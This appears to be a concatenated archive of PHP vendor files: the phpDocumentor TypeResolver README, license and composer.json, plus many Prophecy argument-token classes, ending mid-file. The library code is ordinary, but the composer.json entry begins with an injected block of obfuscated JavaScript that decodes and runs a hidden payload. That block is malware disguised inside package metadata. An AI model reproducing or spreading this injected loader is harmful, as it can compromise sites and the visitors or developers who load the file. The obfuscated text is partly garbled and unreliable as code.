[![Scrutinizer Code Quality](https://img.shields.io/scrutinizer/g/phpDocumentor/TypeResolver.svg)](https://scrutinizer-ci.com/g/phpDocumentor/TypeResolver/?branch=1.x) ![Packagist Version](https://img.shields.io/packagist/v/phpdocumentor/type-resolver?label=Packagist%20stable) ![Packagist Version](https://img.shields.io/packagist/vpre/phpdocumentor/type-resolver?label=Packagist%20unstable) TypeResolver and FqsenResolver ============================== The specification on types in DocBlocks (PSR-5) describes various keywords and special constructs but also how to statically resolve the partial name of a Class into a Fully Qualified Class Name (FQCN). PSR-5 also introduces an additional way to describe deeper elements than Classes, Interfaces and Traits called the Fully Qualified Structural Element Name (FQSEN). Using this it is possible to refer to methods, properties and class constants but also functions and global constants. This package provides two Resolvers that are capable of 1. Returning a series of Value Object for given expression while resolving any partial class names, and 2. Returning an FQSEN object after resolving any partial Structural Element Names into Fully Qualified Structural Element names. ## Installing The easiest way to install this library is with [Composer](https://getcomposer.org) using the following command: $ composer require phpdocumentor/type-resolver ## Examples Ready to dive in and don't want to read through all that text below? Just consult the [examples](examples) folder and check which type of action that your want to accomplish. ## On Types and Element Names This component can be used in one of two ways 1. To resolve a Type or 2. To resolve a Fully Qualified Structural Element Name The big difference between these two is in the number of things it can resolve. The TypeResolver can resolve: - a php primitive or pseudo-primitive such as a string or void (`@var string` or `@return void`). - a composite such as an array of string (`@var string[]`). - a compound such as a string or integer (`@var string|integer`). - an array expression (`@var (string|TypeResolver)[]`) - an object or interface such as the TypeResolver class (`@var TypeResolver` or `@var \phpDocumentor\Reflection\TypeResolver`) > please note that if you want to pass partial class names that additional steps are necessary, see the > chapter `Resolving partial classes and FQSENs` for more information. Where the FqsenResolver can resolve: - Constant expressions (i.e. `@see \MyNamespace\MY_CONSTANT`) - Function expressions (i.e. `@see \MyNamespace\myFunction()`) - Class expressions (i.e. `@see \MyNamespace\MyClass`) - Interface expressions (i.e. `@see \MyNamespace\MyInterface`) - Trait expressions (i.e. `@see \MyNamespace\MyTrait`) - Class constant expressions (i.e. `@see \MyNamespace\MyClass::MY_CONSTANT`) - Property expressions (i.e. `@see \MyNamespace\MyClass::$myProperty`) - Method expressions (i.e. `@see \MyNamespace\MyClass::myMethod()`) ## Resolving a type In order to resolve a type you will have to instantiate the class `\phpDocumentor\Reflection\TypeResolver` and call its `resolve` method like this: ```php $typeResolver = new \phpDocumentor\Reflection\TypeResolver(); $type = $typeResolver->resolve('string|integer'); ``` In this example you will receive a Value Object of class `\phpDocumentor\Reflection\Types\Compound` that has two elements, one of type `\phpDocumentor\Reflection\Types\String_` and one of type `\phpDocumentor\Reflection\Types\Integer`. The real power of this resolver is in its capability to expand partial class names into fully qualified class names; but in order to do that we need an additional `\phpDocumentor\Reflection\Types\Context` class that will inform the resolver in which namespace the given expression occurs and which namespace aliases (or imports) apply. ### Resolving nullable types Php 7.1 introduced nullable types e.g. `?string`. Type resolver will resolve the original type without the nullable notation `?` just like it would do without the `?`. After that the type is wrapped in a `\phpDocumentor\Reflection\Types\Nullable` object. The `Nullable` type has a method to fetch the actual type. ## Resolving an FQSEN A Fully Qualified Structural Element Name is a reference to another element in your code bases and can be resolved using the `\phpDocumentor\Reflection\FqsenResolver` class' `resolve` method, like this: ```php $fqsenResolver = new \phpDocumentor\Reflection\FqsenResolver(); $fqsen = $fqsenResolver->resolve('\phpDocumentor\Reflection\FqsenResolver::resolve()'); ``` In this example we resolve a Fully Qualified Structural Element Name (meaning that it includes the full namespace, class name and element name) and receive a Value Object of type `\phpDocumentor\Reflection\Fqsen`. The real power of this resolver is in its capability to expand partial element names into Fully Qualified Structural Element Names; but in order to do that we need an additional `\phpDocumentor\Reflection\Types\Context` class that will inform the resolver in which namespace the given expression occurs and which namespace aliases (or imports) apply. ## Resolving partial Classes and Structural Element Names Perhaps the best feature of this library is that it knows how to resolve partial class names into fully qualified class names. For example, you have this file: ```php namespace My\Example; use phpDocumentor\Reflection\Types; class Classy { /** * @var Types\Context * @see Classy::otherFunction() */ public function __construct($context) {} public function otherFunction(){} } ``` Suppose that you would want to resolve (and expand) the type in the `@var` tag and the element name in the `@see` tag. For the resolvers to know how to expand partial names you have to provide a bit of _Context_ for them by instantiating a new class named `\phpDocumentor\Reflection\Types\Context` with the name of the namespace and the aliases that are in play. ### Creating a Context You can do this by manually creating a Context like this: ```php $context = new \phpDocumentor\Reflection\Types\Context( '\My\Example', [ 'Types' => '\phpDocumentor\Reflection\Types'] ); ``` Or by using the `\phpDocumentor\Reflection\Types\ContextFactory` to instantiate a new context based on a Reflector object or by providing the namespace that you'd like to extract and the source code of the file in which the given type expression occurs. ```php $contextFactory = new \phpDocumentor\Reflection\Types\ContextFactory(); $context = $contextFactory->createFromReflector(new ReflectionMethod('\My\Example\Classy', '__construct')); ``` or ```php $contextFactory = new \phpDocumentor\Reflection\Types\ContextFactory(); $context = $contextFactory->createForNamespace('\My\Example', file_get_contents('My/Example/Classy.php')); ``` ### Using the Context After you have obtained a Context it is just a matter of passing it along with the `resolve` method of either Resolver class as second argument and the Resolvers will take this into account when resolving partial names. To obtain the resolved class name for the `@var` tag in the example above you can do: ```php $typeResolver = new \phpDocumentor\Reflection\TypeResolver(); $type = $typeResolver->resolve('Types\Context', $context); ``` When you do this you will receive an object of class `\phpDocumentor\Reflection\Types\Object_` for which you can call the `getFqsen` method to receive a Value Object that represents the complete FQSEN. So that would be `phpDocumentor\Reflection\Types\Context`. > Why is the FQSEN wrapped in another object `Object_`? > > The resolve method of the TypeResolver only returns object with the interface `Type` and the FQSEN is a common type that does not represent a Type. Also: in some cases a type can represent an "Untyped Object", meaning that it is an object (signified by the `object` keyword) but does not refer to a specific element using an FQSEN. Another example is on how to resolve the FQSEN of a method as can be seen with the `@see` tag in the example above. To resolve that you can do the following: ```php $fqsenResolver = new \phpDocumentor\Reflection\FqsenResolver(); $type = $fqsenResolver->resolve('Classy::otherFunction()', $context); ``` Because Classy is a Class in the current namespace its FQSEN will have the `My\Example` namespace and by calling the `resolve` method of the FQSEN Resolver you will receive an `Fqsen` object that refers to `\My\Example\Classy::otherFunction()`. res/readability/vendor/phpdocumentor/type-resolver/LICENSE000064400000002070147577714370017664 0ustar00The MIT License (MIT) Copyright (c) 2010 Mike van Riel Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/phpdocumentor/type-resolver/composer.json000064400000007364147577714370021414 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "phpdocumentor/type-resolver", "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names", "type": "library", "license": "MIT", "authors": [ { "name": "Mike van Riel", "email": "me@mikevanriel.com" } ], "require": { "php": "^7.2 || ^8.0", "phpdocumentor/reflection-common": "^2.0" }, "require-dev": { "ext-tokenizer": "*", "psalm/phar": "^4.8" }, "autoload": { "psr-4": { "phpDocumentor\\Reflection\\": "src" } }, "autoload-dev": { "psr-4": { "phpDocumentor\\Reflection\\": ["tests/unit", "tests/benchmark"] } }, "extra": { "branch-alias": { "dev-1.x": "1.x-dev" } } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ObjectStateToken.php000064400000005071147577714370025612 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; use SebastianBergmann\Comparator\ComparisonFailure; use Prophecy\Comparator\Factory as ComparatorFactory; use Prophecy\Util\StringUtil; /** * Object state-checker token. * * @author Konstantin Kudryashov */ class ObjectStateToken implements TokenInterface { private $name; private $value; private $util; private $comparatorFactory; /** * Initializes token. * * @param string $methodName * @param mixed $value Expected return value * @param null|StringUtil $util * @param ComparatorFactory $comparatorFactory */ public function __construct( $methodName, $value, StringUtil $util = null, ComparatorFactory $comparatorFactory = null ) { $this->name = $methodName; $this->value = $value; $this->util = $util ?: new StringUtil; $this->comparatorFactory = $comparatorFactory ?: ComparatorFactory::getInstance(); } /** * Scores 8 if argument is an object, which method returns expected value. * * @param mixed $argument * * @return bool|int */ public function scoreArgument($argument) { if (is_object($argument) && method_exists($argument, $this->name)) { $actual = call_user_func(array($argument, $this->name)); $comparator = $this->comparatorFactory->getComparatorFor( $this->value, $actual ); try { $comparator->assertEquals($this->value, $actual); return 8; } catch (ComparisonFailure $failure) { return false; } } if (is_object($argument) && property_exists($argument, $this->name)) { return $argument->{$this->name} === $this->value ? 8 : false; } return false; } /** * Returns false. * * @return bool */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('state(%s(), %s)', $this->name, $this->util->stringify($this->value) ); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/StringContainsToken.php000064400000002424147577714370026347 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * String contains token. * * @author Peter Mitchell */ class StringContainsToken implements TokenInterface { private $value; /** * Initializes token. * * @param string $value */ public function __construct($value) { $this->value = $value; } public function scoreArgument($argument) { return is_string($argument) && strpos($argument, $this->value) !== false ? 6 : false; } /** * Returns preset value against which token checks arguments. * * @return mixed */ public function getValue() { return $this->value; } /** * Returns false. * * @return bool */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('contains("%s")', $this->value); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/InArrayToken.php000064400000002721147577714370024747 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Check if values is in array * * @author Vinícius Alonso */ class InArrayToken implements TokenInterface { private $token = array(); private $strict; /** * @param array $arguments tokens * @param bool $strict */ public function __construct(array $arguments, $strict = true) { $this->token = $arguments; $this->strict = $strict; } /** * Return scores 8 score if argument is in array. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { if (count($this->token) === 0) { return false; } if (\in_array($argument, $this->token, $this->strict)) { return 8; } return false; } /** * Returns false. * * @return boolean */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { $arrayAsString = implode(', ', $this->token); return "[{$arrayAsString}]"; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/LogicalNotToken.php000064400000003017147577714370025434 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Logical NOT token. * * @author Boris Mikhaylov */ class LogicalNotToken implements TokenInterface { /** @var \Prophecy\Argument\Token\TokenInterface */ private $token; /** * @param mixed $value exact value or token */ public function __construct($value) { $this->token = $value instanceof TokenInterface? $value : new ExactValueToken($value); } /** * Scores 4 when preset token does not match the argument. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { return false === $this->token->scoreArgument($argument) ? 4 : false; } /** * Returns true if preset token is last. * * @return bool|int */ public function isLast() { return $this->token->isLast(); } /** * Returns originating token. * * @return TokenInterface */ public function getOriginatingToken() { return $this->token; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('not(%s)', $this->token); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ArrayEntryToken.php000064400000007224147577714370025505 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; use Prophecy\Exception\InvalidArgumentException; /** * Array entry token. * * @author Boris Mikhaylov */ class ArrayEntryToken implements TokenInterface { /** @var \Prophecy\Argument\Token\TokenInterface */ private $key; /** @var \Prophecy\Argument\Token\TokenInterface */ private $value; /** * @param mixed $key exact value or token * @param mixed $value exact value or token */ public function __construct($key, $value) { $this->key = $this->wrapIntoExactValueToken($key); $this->value = $this->wrapIntoExactValueToken($value); } /** * Scores half of combined scores from key and value tokens for same entry. Capped at 8. * If argument implements \ArrayAccess without \Traversable, then key token is restricted to ExactValueToken. * * @param array|\ArrayAccess|\Traversable $argument * * @throws \Prophecy\Exception\InvalidArgumentException * @return bool|int */ public function scoreArgument($argument) { if ($argument instanceof \Traversable) { $argument = iterator_to_array($argument); } if ($argument instanceof \ArrayAccess) { $argument = $this->convertArrayAccessToEntry($argument); } if (!is_array($argument) || empty($argument)) { return false; } $keyScores = array_map(array($this->key,'scoreArgument'), array_keys($argument)); $valueScores = array_map(array($this->value,'scoreArgument'), $argument); $scoreEntry = function ($value, $key) { return $value && $key ? min(8, ($key + $value) / 2) : false; }; return max(array_map($scoreEntry, $valueScores, $keyScores)); } /** * Returns false. * * @return boolean */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('[..., %s => %s, ...]', $this->key, $this->value); } /** * Returns key * * @return TokenInterface */ public function getKey() { return $this->key; } /** * Returns value * * @return TokenInterface */ public function getValue() { return $this->value; } /** * Wraps non token $value into ExactValueToken * * @param $value * @return TokenInterface */ private function wrapIntoExactValueToken($value) { return $value instanceof TokenInterface ? $value : new ExactValueToken($value); } /** * Converts instance of \ArrayAccess to key => value array entry * * @param \ArrayAccess $object * * @return array|null * @throws \Prophecy\Exception\InvalidArgumentException */ private function convertArrayAccessToEntry(\ArrayAccess $object) { if (!$this->key instanceof ExactValueToken) { throw new InvalidArgumentException(sprintf( 'You can only use exact value tokens to match key of ArrayAccess object'.PHP_EOL. 'But you used `%s`.', $this->key )); } $key = $this->key->getValue(); return $object->offsetExists($key) ? array($key => $object[$key]) : array(); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/AnyValuesToken.php000064400000001732147577714370025312 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Any values token. * * @author Konstantin Kudryashov */ class AnyValuesToken implements TokenInterface { /** * Always scores 2 for any argument. * * @param $argument * * @return int */ public function scoreArgument($argument) { return 2; } /** * Returns true to stop wildcard from processing other tokens. * * @return bool */ public function isLast() { return true; } /** * Returns string representation for token. * * @return string */ public function __toString() { return '* [, ...]'; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/TokenInterface.php000064400000001620147577714370025277 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Argument token interface. * * @author Konstantin Kudryashov */ interface TokenInterface { /** * Calculates token match score for provided argument. * * @param $argument * * @return bool|int */ public function scoreArgument($argument); /** * Returns true if this token prevents check of other tokens (is last one). * * @return bool|int */ public function isLast(); /** * Returns string representation for token. * * @return string */ public function __toString(); } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/CallbackToken.php000064400000003054147577714370025076 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; use Prophecy\Exception\InvalidArgumentException; /** * Callback-verified token. * * @author Konstantin Kudryashov */ class CallbackToken implements TokenInterface { private $callback; /** * Initializes token. * * @param callable $callback * * @throws \Prophecy\Exception\InvalidArgumentException */ public function __construct($callback) { if (!is_callable($callback)) { throw new InvalidArgumentException(sprintf( 'Callable expected as an argument to CallbackToken, but got %s.', gettype($callback) )); } $this->callback = $callback; } /** * Scores 7 if callback returns true, false otherwise. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { return call_user_func($this->callback, $argument) ? 7 : false; } /** * Returns false. * * @return bool */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return 'callback()'; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/NotInArrayToken.php000064400000002732147577714370025432 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Check if values is not in array * * @author Vinícius Alonso */ class NotInArrayToken implements TokenInterface { private $token = array(); private $strict; /** * @param array $arguments tokens * @param bool $strict */ public function __construct(array $arguments, $strict = true) { $this->token = $arguments; $this->strict = $strict; } /** * Return scores 8 score if argument is in array. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { if (count($this->token) === 0) { return false; } if (!\in_array($argument, $this->token, $this->strict)) { return 8; } return false; } /** * Returns false. * * @return boolean */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { $arrayAsString = implode(', ', $this->token); return "[{$arrayAsString}]"; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/IdenticalValueToken.php000064400000002746147577714370026302 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; use Prophecy\Util\StringUtil; /** * Identical value token. * * @author Florian Voutzinos */ class IdenticalValueToken implements TokenInterface { private $value; private $string; private $util; /** * Initializes token. * * @param mixed $value * @param StringUtil $util */ public function __construct($value, StringUtil $util = null) { $this->value = $value; $this->util = $util ?: new StringUtil(); } /** * Scores 11 if argument matches preset value. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { return $argument === $this->value ? 11 : false; } /** * Returns false. * * @return bool */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { if (null === $this->string) { $this->string = sprintf('identical(%s)', $this->util->stringify($this->value)); } return $this->string; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/AnyValueToken.php000064400000001653147577714370025131 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Any single value token. * * @author Konstantin Kudryashov */ class AnyValueToken implements TokenInterface { /** * Always scores 3 for any argument. * * @param $argument * * @return int */ public function scoreArgument($argument) { return 3; } /** * Returns false. * * @return bool */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return '*'; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ArrayCountToken.php000064400000003341147577714370025470 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Array elements count token. * * @author Boris Mikhaylov */ class ArrayCountToken implements TokenInterface { private $count; /** * @param integer $value */ public function __construct($value) { $this->count = $value; } /** * Scores 6 when argument has preset number of elements. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { return $this->isCountable($argument) && $this->hasProperCount($argument) ? 6 : false; } /** * Returns false. * * @return boolean */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('count(%s)', $this->count); } /** * Returns true if object is either array or instance of \Countable * * @param $argument * @return bool */ private function isCountable($argument) { return (is_array($argument) || $argument instanceof \Countable); } /** * Returns true if $argument has expected number of elements * * @param array|\Countable $argument * * @return bool */ private function hasProperCount($argument) { return $this->count === count($argument); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ApproximateValueToken.php000064400000002216147577714370026667 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Approximate value token * * @author Daniel Leech */ class ApproximateValueToken implements TokenInterface { private $value; private $precision; public function __construct($value, $precision = 0) { $this->value = $value; $this->precision = $precision; } /** * {@inheritdoc} */ public function scoreArgument($argument) { return round((float)$argument, $this->precision) === round($this->value, $this->precision) ? 10 : false; } /** * {@inheritdoc} */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('≅%s', round($this->value, $this->precision)); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ExactValueToken.php000064400000005700147577714370025443 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; use SebastianBergmann\Comparator\ComparisonFailure; use Prophecy\Comparator\Factory as ComparatorFactory; use Prophecy\Util\StringUtil; /** * Exact value token. * * @author Konstantin Kudryashov */ class ExactValueToken implements TokenInterface { private $value; private $string; private $util; private $comparatorFactory; /** * Initializes token. * * @param mixed $value * @param StringUtil $util * @param ComparatorFactory $comparatorFactory */ public function __construct($value, StringUtil $util = null, ComparatorFactory $comparatorFactory = null) { $this->value = $value; $this->util = $util ?: new StringUtil(); $this->comparatorFactory = $comparatorFactory ?: ComparatorFactory::getInstance(); } /** * Scores 10 if argument matches preset value. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { if (is_object($argument) && is_object($this->value)) { $comparator = $this->comparatorFactory->getComparatorFor( $argument, $this->value ); try { $comparator->assertEquals($argument, $this->value); return 10; } catch (ComparisonFailure $failure) { return false; } } // If either one is an object it should be castable to a string if (is_object($argument) xor is_object($this->value)) { if (is_object($argument) && !method_exists($argument, '__toString')) { return false; } if (is_object($this->value) && !method_exists($this->value, '__toString')) { return false; } } elseif (is_numeric($argument) && is_numeric($this->value)) { // noop } elseif (gettype($argument) !== gettype($this->value)) { return false; } return $argument == $this->value ? 10 : false; } /** * Returns preset value against which token checks arguments. * * @return mixed */ public function getValue() { return $this->value; } /** * Returns false. * * @return bool */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { if (null === $this->string) { $this->string = sprintf('exact(%s)', $this->util->stringify($this->value)); } return $this->string; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/TypeToken.php000064400000003245147577714370024325 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; use Prophecy\Exception\InvalidArgumentException; /** * Value type token. * * @author Konstantin Kudryashov */ class TypeToken implements TokenInterface { private $type; /** * @param string $type */ public function __construct($type) { $checker = "is_{$type}"; if (!function_exists($checker) && !interface_exists($type) && !class_exists($type)) { throw new InvalidArgumentException(sprintf( 'Type or class name expected as an argument to TypeToken, but got %s.', $type )); } $this->type = $type; } /** * Scores 5 if argument has the same type this token was constructed with. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { $checker = "is_{$this->type}"; if (function_exists($checker)) { return call_user_func($checker, $argument) ? 5 : false; } return $argument instanceof $this->type ? 5 : false; } /** * Returns false. * * @return bool */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('type(%s)', $this->type); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/LogicalAndToken.php000064400000003370147577714370025400 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Logical AND token. * * @author Boris Mikhaylov */ class LogicalAndToken implements TokenInterface { private $tokens = array(); /** * @param array $arguments exact values or tokens */ public function __construct(array $arguments) { foreach ($arguments as $argument) { if (!$argument instanceof TokenInterface) { $argument = new ExactValueToken($argument); } $this->tokens[] = $argument; } } /** * Scores maximum score from scores returned by tokens for this argument if all of them score. * * @param $argument * * @return bool|int */ public function scoreArgument($argument) { if (0 === count($this->tokens)) { return false; } $maxScore = 0; foreach ($this->tokens as $token) { $score = $token->scoreArgument($argument); if (false === $score) { return false; } $maxScore = max($score, $maxScore); } return $maxScore; } /** * Returns false. * * @return boolean */ public function isLast() { return false; } /** * Returns string representation for token. * * @return string */ public function __toString() { return sprintf('bool(%s)', implode(' AND ', $this->tokens)); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ArrayEveryEntryToken.php000064400000003222147577714370026512 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument\Token; /** * Array every entry token. * * @author Adrien Brault */ class ArrayEveryEntryToken implements TokenInterface { /** * @var TokenInterface */ private $value; /** * @param mixed $value exact value or token */ public function __construct($value) { if (!$value instanceof TokenInterface) { $value = new ExactValueToken($value); } $this->value = $value; } /** * {@inheritdoc} */ public function scoreArgument($argument) { if (!$argument instanceof \Traversable && !is_array($argument)) { return false; } $scores = array(); foreach ($argument as $key => $argumentEntry) { $scores[] = $this->value->scoreArgument($argumentEntry); } if (empty($scores) || in_array(false, $scores, true)) { return false; } return array_sum($scores) / count($scores); } /** * {@inheritdoc} */ public function isLast() { return false; } /** * {@inheritdoc} */ public function __toString() { return sprintf('[%s, ..., %s]', $this->value, $this->value); } /** * @return TokenInterface */ public function getValue() { return $this->value; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Argument/ArgumentsWildcard.php000064400000004464147577714370024746 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Argument; /** * Arguments wildcarding. * * @author Konstantin Kudryashov */ class ArgumentsWildcard { /** * @var Token\TokenInterface[] */ private $tokens = array(); private $string; /** * Initializes wildcard. * * @param array $arguments Array of argument tokens or values */ public function __construct(array $arguments) { foreach ($arguments as $argument) { if (!$argument instanceof Token\TokenInterface) { $argument = new Token\ExactValueToken($argument); } $this->tokens[] = $argument; } } /** * Calculates wildcard match score for provided arguments. * * @param array $arguments * * @return false|int False OR integer score (higher - better) */ public function scoreArguments(array $arguments) { if (0 == count($arguments) && 0 == count($this->tokens)) { return 1; } $arguments = array_values($arguments); $totalScore = 0; foreach ($this->tokens as $i => $token) { $argument = isset($arguments[$i]) ? $arguments[$i] : null; if (1 >= $score = $token->scoreArgument($argument)) { return false; } $totalScore += $score; if (true === $token->isLast()) { return $totalScore; } } if (count($arguments) > count($this->tokens)) { return false; } return $totalScore; } /** * Returns string representation for wildcard. * * @return string */ public function __toString() { if (null === $this->string) { $this->string = implode(', ', array_map(function ($token) { return (string) $token; }, $this->tokens)); } return $this->string; } /** * @return array */ public function getTokens() { return $this->tokens; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Call/Call.php000064400000006633147577714370021273 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Call; use Exception; use Prophecy\Argument\ArgumentsWildcard; /** * Call object. * * @author Konstantin Kudryashov */ class Call { private $methodName; private $arguments; private $returnValue; private $exception; private $file; private $line; private $scores; /** * Initializes call. * * @param string $methodName * @param array $arguments * @param mixed $returnValue * @param Exception $exception * @param null|string $file * @param null|int $line */ public function __construct($methodName, array $arguments, $returnValue, Exception $exception = null, $file, $line) { $this->methodName = $methodName; $this->arguments = $arguments; $this->returnValue = $returnValue; $this->exception = $exception; $this->scores = new \SplObjectStorage(); if ($file) { $this->file = $file; $this->line = intval($line); } } /** * Returns called method name. * * @return string */ public function getMethodName() { return $this->methodName; } /** * Returns called method arguments. * * @return array */ public function getArguments() { return $this->arguments; } /** * Returns called method return value. * * @return null|mixed */ public function getReturnValue() { return $this->returnValue; } /** * Returns exception that call thrown. * * @return null|Exception */ public function getException() { return $this->exception; } /** * Returns callee filename. * * @return string */ public function getFile() { return $this->file; } /** * Returns callee line number. * * @return int */ public function getLine() { return $this->line; } /** * Returns short notation for callee place. * * @return string */ public function getCallPlace() { if (null === $this->file) { return 'unknown'; } return sprintf('%s:%d', $this->file, $this->line); } /** * Adds the wildcard match score for the 